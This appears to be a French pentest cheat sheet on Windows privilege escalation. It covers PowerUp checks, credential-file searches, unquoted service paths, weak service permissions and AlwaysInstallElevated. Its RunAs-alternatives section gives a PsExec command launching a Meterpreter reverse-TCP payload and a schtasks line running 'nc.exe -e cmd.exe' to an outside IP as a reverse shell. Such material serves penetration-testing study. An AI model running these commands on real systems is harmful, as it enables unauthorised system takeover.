Elévation de priviléges (Windows)
The following elements are based on http://toshellandback.com/2015/11/24/ms-priv-esc/
PowerSploit
Le module PowerUp de PowerSploit permet de faire la plupart des contrôles ci-dessous de manière complétement automatisée.
Import-Module Privesc
Invoke-AllChecks
Vulnérabilités systèmes
Il est possible de trouver des vulnérabilités non patchées sur le système. L’outil Windows Exploit Suggester (Tool) facilite cette vérification.
Mot de passes
De nombreux fichiers peuvent contenir des mots de passes sensibles. La suite PowerUp dispose des fonctions suivantes pour trouver certains d’entre eux (tous sont appelés avec Inboke-AllChecks):
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
Voir Stored Credentials (Pentestlab).
Trusted Service Paths
Si le “Service path” d’un service n’est pas mis entre quote il est possible d’effectuer une attaque. Pour l’exemple on considère le Service Path suivant:
C:\Program Files\Some Folder\Service.exe
Windows va essayer d’appeler les programmes suivant, jusqu’à ce que l’un d’eux soit identifé:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Ceci peut conduire à une compromission s’il est possible de créer C:\Program.exe
ou C:\Program
Files\Some.exe
WMIC peut être utilisé pour contrôler ce point:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
On peut utiliser icacls pour vérifier les permissions:
icacls "C:\Program Files (x86)\Privacyware"
On peut ensuite relancer le service:
sc stop PFNet
sc start PFNet
Si on a pas les privilèges pour redémarrer le service, on peut essayer de redémarrer le serveur.
Modifier un service Windows
Avec de la chance il est possible de modifier un service. L’outil accesschk peut être utilisé pour vérifier ceci:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
On peut regarder les propriétés du service PFNet
sc qc PFNet
Il est parfois possible de changer le binaire lui même.
AlwaysInstallElevated
Regarder si l’option AlwaysInstallElevated
est active. Cette option permet à un utilisateur lambda d’installer des logiciels comme s’il disposait des droits systèmes.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Alternatives à RunAs
On est parfois dans des situations où on a:
- Un shell non interactif et non privilégié sur un serveur
- Le mot de passe administrateur du serveur
- Pas de possibilité de se connecter à distance avec ce mot de passe
Dans ce cas il est possible d’executer des commandes avec une des méthodes suivantes.
PsExec
Il faut avoir uploaddé PsExec. Ensuite on peut exécuter la commande suivante:
PsExec \\MACHINE -u user -p password C:\target\encrypted_meterpreter_reverse_tcp_80.exe
schtasks
Il est possible de créer une “scheduled task” et passer le mdp admin sur la ligne de commande.
schtasks /create /sc once /tr "nc.exe -e cmd.exe 192.168.30.156 443" /tn MASUPERTACHE /st 00:00:00 /ru user /rp password
schtasks /run /tn MASUPERTACHE
Ressources
Outils
- PowerUp pour identifier des possibilité d’élévation de priviléges.
- BypassUAC pour contourner l’UAC.
- Attaque Hot Potato (MS16-075)
- Windows Exploit Suggester (Tool)